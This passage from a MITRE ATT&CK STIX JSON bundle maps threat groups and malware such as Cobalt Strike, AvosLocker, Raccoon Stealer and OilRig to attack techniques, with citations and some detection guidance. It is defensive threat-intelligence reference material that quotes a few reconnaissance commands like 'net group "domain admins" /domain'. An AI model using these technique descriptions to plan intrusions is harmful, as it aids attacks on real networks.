2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:48:22.015Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) retrieves follow-on payloads direct from adversary-owned infrastructure for deployment on compromised hosts.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--405f7aa3-2ce8-455f-9718-c2525658c595","type":"relationship","created":"2019-09-24T14:19:05.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.877Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) hooks several API functions to spawn system threads.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40622bce-ea51-4744-9240-4a4c4bf83753","type":"relationship","created":"2020-04-30T16:48:25.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Chronicle Winnti for Linux May 2019","url":"https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a","description":"Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."}],"modified":"2020-05-04T14:24:55.167Z","description":"[Winnti for Linux](https://attack.mitre.org/software/S0430) has used ICMP, custom TCP, and UDP in outbound communications.(Citation: Chronicle Winnti for Linux May 2019)","relationship_type":"uses","source_ref":"malware--8787e86d-8475-4f13-acea-d33eb83b6105","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--406257ac-ff42-4e15-b72e-50202e38b675","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Symantec Calisto July 2018","description":"Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.","url":"https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T19:42:40.613Z","description":"[Calisto](https://attack.mitre.org/software/S0274) has the capability to upload and download files to the victim's machine.(Citation: Symantec Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4065a71f-ae1b-4dfc-9825-56d2af6d589c","type":"relationship","created":"2020-03-12T18:53:29.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"},{"source_name":"CheckPoint Dok","url":"https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/","description":"Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021."}],"modified":"2021-10-12T02:43:33.323Z","description":"[Dok](https://attack.mitre.org/software/S0281) installs two LaunchAgents to redirect all network traffic with a randomly generated name for each plist file maintaining the format com.random.name.plist.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--406ad011-8d60-45b0-bb7e-52704684b4e8","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--406afc1a-4ea7-45c5-b137-7784f9ed53f3","type":"relationship","created":"2020-03-17T01:57:57.302Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2020-03-27T22:10:19.833Z","description":"[NETEAGLE](https://attack.mitre.org/software/S0034) can use HTTP to download resources that contain an IP address and port number pair to connect to for C2.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--406ca789-682f-4e08-bb7e-60421923ee09","type":"relationship","created":"2020-11-06T18:40:38.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.160Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can be configured to have commands relayed over a peer-to-peer network of infected hosts. This can be used to limit the number of egress points, or provide access to a host without direct internet access.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--406e78ba-fc34-4be9-9dcc-323aad40d709","created":"2021-10-12T19:34:36.352Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cylance Cleaver","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf","description":"Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cleaver](https://attack.mitre.org/groups/G0003) has obtained and used open-source tools such as [PsExec](https://attack.mitre.org/software/S0029), [Windows Credential Editor](https://attack.mitre.org/software/S0005), and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Cylance Cleaver)","modified":"2022-07-22T18:37:22.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--406fbbc1-408a-4f59-8f0c-0f670eb60879","type":"relationship","created":"2021-02-03T18:34:46.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}],"modified":"2021-04-21T11:55:51.109Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has exfiltrated entire mailboxes from compromised accounts.(Citation: DOJ Iran Indictments March 2018)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4071eb53-bd07-499d-88cc-f03425ea2e46","created":"2024-08-01T22:28:04.849Z","revoked":false,"external_references":[{"source_name":"Sekoia Raccoon2 2022","description":"Pierre Le Bourhis, Quentin Bourgue, & Sekoia TDR. (2022, June 29). Raccoon Stealer v2 - Part 2: In-depth analysis. Retrieved August 1, 2024.","url":"https://blog.sekoia.io/raccoon-stealer-v2-part-2-in-depth-analysis/"},{"source_name":"S2W Racoon 2022","description":"S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.","url":"https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-01T22:28:04.849Z","description":"[Raccoon Stealer](https://attack.mitre.org/software/S1148) collects data from victim machines based on configuration information received from command and control nodes.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon2 2022)","relationship_type":"uses","source_ref":"malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40772ec1-2f25-425f-aad5-635f64ba8fd2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:40.817Z","description":"The [DustySky](https://attack.mitre.org/software/S0062) dropper uses a function to obfuscate the name of functions and other parts of the malware.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--407f0280-bfaf-4c9b-919a-703f2467e10b","created":"2021-01-08T21:14:16.003Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary NETWIRE January 2020","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T19:05:18.533Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can use XDG Autostart Entries to establish persistence on Linux systems.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--408183ae-ffff-4341-8c90-f007226656aa","type":"relationship","created":"2022-01-26T22:07:08.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T22:07:08.652Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has been modified to be used as a Windows service.(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4082e0a3-e725-4f9f-98e2-3850c8cc8df2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-30T02:19:19.183Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) uses WinRAR to compress data that is intended to be exfiltrated.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40848159-b266-42df-9cf8-785b2f78bcfc","type":"relationship","created":"2019-03-12T16:20:54.316Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla August 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf","description":"ESET. (2018, August). Turla Outlook Backdoor: Analysis of an unusual Turla backdoor. Retrieved March 11, 2019."},{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T21:18:04.668Z","description":"(Citation: ESET Turla August 2018)(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40861c0e-9cbc-4355-a7c0-cc0405c70b82","created":"2023-01-11T21:24:22.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint CSA AvosLocker Mar 2022","description":"FBI, FinCEN, Treasury. (2022, March 17). Indicators of Compromise Associated with AvosLocker Ransomware. Retrieved January 11, 2023.","url":"https://www.ic3.gov/Media/News/2022/220318.pdf"},{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"},{"source_name":"Trend Micro AvosLocker Apr 2022","description":"Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"},{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T16:24:57.638Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has encrypted files and network resources using AES-256 and added an `.avos`, `.avos2`, or `.AvosLinux` extension to filenames.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Cisco Talos Avos Jun 2022)(Citation: Joint CSA AvosLocker Mar 2022)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4086a9d6-5574-48fb-be8d-e8406145e740","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture Hogfish April 2018","description":"Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.","url":"http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:06:31.028Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can gather browser usernames and passwords.(Citation: Accenture Hogfish April 2018)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--408db284-4c7a-4ad4-8399-90a8102b4bfa","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:55.985Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect process information by running tasklist on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--409581f2-270d-43ce-8044-34bc09874548","type":"relationship","created":"2020-03-18T22:50:09.035Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-18T22:50:09.035Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used net group /domain, net group “domain admins” /domain, and net group “Exchange Trusted Subsystem” /domain to find domain group permission settings.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--409de3f7-aa44-492f-9706-a6d951841079","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017)","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PsSetCreateProcessNotifyRoutine routine","description":"Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.","url":"https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"},{"source_name":"BlackHat Process Doppelgänging Dec 2017","description":"Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelgänging. Retrieved December 20, 2017.","url":"https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"},{"source_name":"hasherezade Process Doppelgänging Dec 2017","description":"hasherezade. (2017, December 18). Process Doppelgänging – a new way to impersonate a process. Retrieved December 20, 2017.","url":"https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"}]},{"type":"relationship","id":"relationship--40a2c8e2-df1c-41a8-beec-951214c8e101","created":"2019-01-29T19:36:02.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GovCERT Carbon May 2016","description":"GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.","url":"https://web.archive.org/web/20170718174931/https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-19T18:36:51.866Z","description":"[Carbon](https://attack.mitre.org/software/S0335) uses the command net time \\\\127.0.0.1 to get information the system’s time.(Citation: GovCERT Carbon May 2016)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--40a32109-3cae-4f00-ac82-d8da57ce0eeb","created":"2022-04-15T18:15:29.344Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can compile and execute source code sent to the compromised AD FS server via a specific HTTP POST.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-16T01:50:19.637Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--40a8f80d-5497-4218-849c-3c0b63796641","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:57:46.399Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) may modify Registry keys to store RC4 encrypted configuration information.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40ab538b-9386-4559-8861-098503d3770f","type":"relationship","created":"2021-03-08T16:53:55.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:09.178Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can execute ProcessList for process discovery.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 